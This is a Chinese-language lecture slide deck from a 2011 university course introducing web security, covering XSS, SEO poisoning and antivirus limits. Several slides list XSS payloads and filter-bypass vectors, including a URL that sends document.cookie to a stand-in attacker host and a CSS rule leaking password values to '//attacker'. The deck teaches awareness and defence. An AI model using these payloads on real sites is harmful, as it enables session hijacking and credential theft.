530 likes | 655 Views
網路 安全簡介. 中大電子計算機中心. 「多媒體與網路應用」資訊推廣課程. 資工 2B 鄭楷穎 985002529 webmaster@digi-king.com 開課日期 2011-03-27. 網路是安全的 ?. 黑暗中探索著 未知的世界 … 你相信你看到的都是 …. 真的 ?. 漏洞潛伏著. 一點點 的程式缺陷 … 都可能造成 無法挽回的錯誤. 你點下的連結. 可能 早就被人 修改 網頁已經被 更動 就這樣而已嗎 ?. 你相信 ?. 不知不覺中. 餅乾 已經被偷走了 !!. 曾幾何時.
E N D
網路安全簡介 中大電子計算機中心 「多媒體與網路應用」資訊推廣課程 資工2B 鄭楷穎 985002529 webmaster@digi-king.com 開課日期 2011-03-27
網路是安全的? • 黑暗中探索著 • 未知的世界 • … • 你相信你看到的都是 • … 真的?
漏洞潛伏著 • 一點點的程式缺陷 • … • 都可能造成無法挽回的錯誤
你點下的連結 • 可能 • 早就被人修改 • 網頁已經被更動 • 就這樣而已嗎?
不知不覺中 • 餅乾已經被偷走了!!
曾幾何時 你相信的防毒軟體網站 也背叛了你
XSS? Cross-site scripting 簡單來說就是 網頁的不嚴謹 McAfee Symantec VerSignNOD32 都曾經出現過缺陷
那是什? http://www.ebank.com/query.asp?word=%3Cscript%3Evar+img+%3D+new+Image%28%29%3Bimg.src%3D%22http%3A%2F%2Fwww.hackers.com%2F%3F%22%2Bdocument.cookie%3B%3C%2Fscript%3E+ 實際上 var img = new Image();img.src="http://www.hackers.com/?"+document.cookie;
短網址的背後 可能是一整串的網址 夾雜著各類的XSS用法 只要稍微不注意 你就成為受害者
簡單來說 … • XSS - 他是一種客戶端的安全問題 - … 但也有可能衍伸出伺服器端問題 - 透過JavaScript來達成目的 … - … 和HTML, Java, ActiveX, VBScript, Flash 還有更多… - 統計為2010次多的網路安全問題 (via Infosec & OWASP) - 網路上也到處充斥的教學(use Google)
XSSTypes • 暫時性的(reflected) - 最常見 - 需要伺服器端 - 需要第3方程式 • 長久性的(stored) - 危險性最高 - 需要伺服器端及儲存檔案 -不一定需要第3方程式 • Dom-based - 最新一種的攻擊手法 - 需要客戶端 - 通常不會持續很久 XSS - 2
更多 XSS'ed • Twitter, MySpace, Hi5, Wordpress, Yahoo, Joomla, PhpBB, Drupal, PhpWind,Amazone, PHPBB, Discuz, *.edu.*, *.gov.*, NASA, Youtube, Blogspot, Symantec, Kaspersky, NOD32, browser plugins … XSS - 6
Getting XSS'ed • Where? • Basic XSS'ing • Advanced XSS'ing • HTML 5 XSS'ed • Bypass XSS protection XSS - 7
Where? everywhere • Rule : 只要是人寫的,一定有缺陷在!! • 問題可能來自一切 • GET, POST, COOKIE, FILES, SERVER 和 Headers 是主要的問提所在 XSS - 8
Basic XSS'ing <script>alert(1)</script> //basic “><script>alert(1)</script> //bypass a open tag <!--<img src="--><img src=x onerror=alert(1)//">//bypass & generate a error “ onmouseover=”alert(1)”//all javascript events alert(/XSS/.source) or alert( String(/Test/).substr(1,4) ); //some other simple vectors <script>alert(String.fromCharCode(88,83,83));</script> //bypass quotes filters <IMG SRC=javascript:alert('XSS')>//unicode injection; utf-8, hex, decimal or octal injection may work <meta http-equiv="refresh" content="0;url=http://;javascript:..." // evasion <style type=text/javascript>alert('xss')</style> //javascript injection based on style tag “><img src=”x:x” onerror=”alert(0)”> // :D […] XSS - 9
Advanced XSS'ing <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"> <META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');"> <DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029"> //background & unicode exp/*<A STYLE='no\xss:noxss("*//*");xss:ex/*XSS*//*/*/pression(alert("XSS"))'> //send IE into a loop <XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML><SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN> //xss in xml document x='\x61\x6c\x65\x72\x74\x28\x31\x29'; new Function(x)(); //something different from every day injections Function('a\x6cert(1)')();// ;) x=eval,1,1,1;1; 1,1,1,b='\\',1,1,1; 1,1,1,s='\'',1,1,1;1,1,1,o='0',1,1,1; x( x(s+b+141+b+154+b+145+b+162+b+164+b+o+50+b+o+61+b+o+51+s) ); //eval + unicode injection [...] XSS - 10
HTML 5 XSS'ed - new technologies, new problems <video onerror=”javascript:alert(1)”><source> //new tag <audio onerror=”javascript:alert(1)”><source> //other new tag <form id=test onforminput=alert(1)> <input> </form> <button form=test onformchange=alert(2)>X //new events <div draggable=”true” ondragstart=”event.dataTransfer.setData('text/plain', 'Evil payload')”> <h3>DRAG ME!!</h3> </div> //new functions, events & attributes <input type="text" AUTOFOCUS onfocus=alert(1)> <script>alert(localStorage.getItem('foo'))</script> //access local storage “><script>(history.pushState({},”,'index.php'))(document.forms[0].action='http://maliciousURL')</script> //conceal the real location and replace it with anything we want. Ex : http://bit.ly/pushStateXSS XSS - 11
Bypass XSS protection <img/src="mars.png"alt="mars"> //no white spaces, use / instead <object data="javascript:alert(0)"> //avoid src <isindex type=image src=1 onerror=alert(1)> //did you know isindex tag? <img src=x:alert(alt) onerror=eval(src) alt=0> //another bypass for error generation location=location.hash.slice(1); //avoid the # http://victim.com?param=";location=location.hash)//#0={};alert(0) //payload after the hash url, victim won't see true payload alert(document.cookie) or alert(document['cookie']) or with(document)alert(cookie) //same results ""+{toString:alert} or ""+{valueOf:alert} //Executes function without using () or = Future tricks in HTML 5 </a onmousemove="alert(1)"> //html 5 will support events in closed tags <style>input[name=password][value*=a]{background:url('//attacker?log[]=a');}</style> //pure xss-based XSS data:text/html;base64,PHNjcmlwdD5hbGVydCgwKTwvc2NyaXB0Pg== //avoid using plain text/html value ?injection=<script+&injection=>alert(1)></script> //HPP, popular in SQLi • via BlackHat Conferences. XSS - 12
Injection Exploitation (part 1) • Redirection • Clickjacking • URL Spoofing • Session hijacking • Cookie stuffing • Ad Hijacking • CSRF/XSRF attacks • History stealling • XSS Defacement • Key & Mouse logging XSS - 13
Redirection & Clickjacking Redirection • 重新指向網頁, ex. document.location = ”http://www.your-evil-site.com”; • 常見的手法之一 • URL Spoofing • 常用來做釣魚網頁 • 通常是很常見的網址 • 被轉向的網頁會包含一堆又一堆的髒程式碼 • 特級常見的手法 XSS - 14
Session Hijacking • 通常透過JavaScriptdocument.cookie • 取得已登入的Session • 需要抓取Cookie的媒介 • 特級常見 XSS - 15
CSRF/XSRF • 常透過<img src=””. • 想想看,你能做哪些事? XSS - 16
XSS Defacement • 看起來就像一般Deface Page相同 • -但實際上就只有客戶端顯示 … • 能製造錯誤的資訊內容給使用者 XSS - 17
累了? • 其實正題現在才開始 … XSS - 18
Injection Exploitation (part 2) • Browser hijacking • Port Scanning • DDoS • XSS Tunneling • Distributed Password Cracking • Worms (Spreading) • Arbitrary file execution & Privilege escalation • Intranet Hacking XSS - 19
Distributed port scanning • 透過 XMLHttpRequests 和 WebSockets 達成對特定主機發出ICMP封包, • -但透過XSS你可以遠端執行 … • 新版的 Firefox, Chrome or Safari 已經有支援以上Functions(IE是好是壞?) • 目前市面上已經有利用這種方法的Shell存在 • 1 個受害者– 65,000 個掃描區間– 1秒 • -100 victims - 65,000 個掃描區間– 1秒 • 那1萬個甚至10萬個? XSS - 20
DDoS • WebSockets 的應用 • 應用層的DDoS(Layer 7 DDoS) • 1 分鐘 – 1 個瀏覽器 – 1萬個要求 / 分鐘透過受害者發送 GET requests • 只需要60個受害者就足以讓一般網站癱瘓 • 我們只能等廠商更新軟體 • 黑帽已經有類似軟體出現 XSS - 21
Worms (spreading) • 一種最經濟實惠的方法散布Worms • Samy (2005) 透過MySace在20小時內感染超過1,000,000 使用者 • 所有的網站都有可能成為目標Yahoo, twitter, plurk … etc XSS - 22
Intranet Hacking(part 1) • 瀏覽器可能會被你瀏覽的網頁鎖控制 XSS - 23
Intranet Hacking(part 2) 程序: • 受害者瀏覽一個具有惡意程式碼的網頁啟動惡意JavaScript • JavaScript透過Applet取得內部網路的資訊 • 利用瀏覽器(XSSShell)對內部網路進行其他動作 XSS - 24
Intranet Hacking(part 3) • 蒐集資訊: • IP • Port scanning - <script src=http://ip/></script> • 內部資料 - 取得主機檔案file:/// - 更過應用透過XSS Shells XSS - 25
預防 XSS attacks • 過濾內容 • 不要亂點來路不明的網址 • 瀏覽器的安全性 XSS - 26
你還認為 XSS 是一個簡單的問題 ? XSS - 27
你會被 來實行DDoS 當成跳板 甚至他可能直接控制你的電腦!!
你也許會想 不要相信別人貼的網址 那我用Google來搜尋 應該就不會有問題了吧?
但是你沒想過 Google也是有缺陷在的!! SEO有好有壞 好的幫助小企業行銷 壞的讓上網的人進錯網站!!
SEO? Search Engine Optimization Google的PR靠他來的 搜尋排名靠PR來的 總之全部都是SEO 而且他能作弊!!
排名重要嗎? 34% 的使用者會點選搜尋的第一個結果 17% 會點選第二個 當假網站SEO做得比真網站好的時候 … 你會選對嗎?
注意!! 在點下別人給你的連結之前 先看看有沒有包含可疑的字串 搜尋結果後 先看看網址 多個幾步減少成為受害者的機率 !!
很久很久以前 曾經有一篇新聞 對啊!! 我們還有防毒軟體
過沒幾天 就有 「殺很大」或「遙遙巨乳宣導資安照片」 木馬出現…
時間點來說 感染階段 空窗期 清除復原階段 病毒碼更新
防毒軟體觸發 偵測點 偵測點 偵測點 下載 首頁 下載 執行檔 執行檔被執行 3個偵測點 但是現今的防毒效率還是不高 …
因為 … 惡意檔案被一種或多種加殼程式(Packer Program)壓縮過 惡意程式使用隱匿技術(Rootkit Technique) 惡意程式使用DLL Injection的技術 目標式攻擊的惡意程式樣本收集不易 編過碼的惡意Script(如JavaScript, VBScript等) 病毒特徵碼太大(很多防毒軟體都有這個問題)
總體來說 防毒軟體並不是我們的最後一道防線啊!! 身為使用者 您自己的決定權 才是最後一道防線
那要怎麼辦? 盡量不要點來路不明的網址 如果有牽扯到重要資訊 務必選擇有SSL加密的連線 SSL具有以下幾項優點 私密性 完整性 身份認證性